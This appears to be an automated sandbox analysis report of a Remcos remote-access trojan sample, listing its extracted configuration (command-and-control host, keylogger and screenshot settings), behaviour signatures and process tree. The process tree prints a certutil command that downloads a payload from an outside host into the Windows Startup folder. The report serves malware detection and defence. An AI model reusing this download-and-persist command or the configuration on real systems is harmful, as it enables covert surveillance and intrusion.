Analysis
- max time kernel
149s - max time network
151s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
01/06/2026, 22:56
General
- Target tmpyqbmoytm.exe
- Size 1.1MB
- Sample260601-2wp2eaas3n
- SHA256 314fdfcaefefa6be5bd51963eb0271418fae567ea23d0846e4e07d269ae96cbe
Malware Config
Extracted
-
remcos
-
2.4.5 Pro
-
Remote%Host
-
www.rmagent.biz:7181
-
audio_folder
MicRecords
-
audio_path
%AppData%
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
vbs.server.exe
-
copy_folder
vbs.server
-
delete_file
true
-
hide_file
true
-
hide_keylog_file
false
-
install_flag
false
-
install_path
%AppData%
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
keylog_path
%AppData%
-
mouse_option
false
-
mutex
Remcos-00GA1C
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
startup_value
vbs.server
-
take_screenshot_option
false
-
take_screenshot_time
5
-
take_screenshot_title
wikipedia;solitaire;
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Manipulates Digital Signatures 1 TTPs 3 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 28 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SendNotifyMessage 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\tmpyqbmoytm.exe"C:\Users\Admin\AppData\Local\Temp\tmpyqbmoytm.exe"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"3⤵
- Manipulates Digital Signatures
- System Location Discovery: System Language Discovery
-
-
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C:\Users\Admin\AppData\Local\Temp\tmpyqbmoytm.exe"C:\Users\Admin\AppData\Local\Temp\tmpyqbmoytm.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
startup.bat
logs.dat
memory/3484-10-0x00000000004E0000-0x0000000000500000-memory.dmp
memory/3484-17-0x00000000004E0000-0x0000000000500000-memory.dmp
memory/3484-18-0x00000000004E0000-0x0000000000500000-memory.dmp
memory/3484-21-0x00000000004E0000-0x0000000000500000-memory.dmp
memory/4944-9-0x0000000001080000-0x0000000001081000-memory.dmp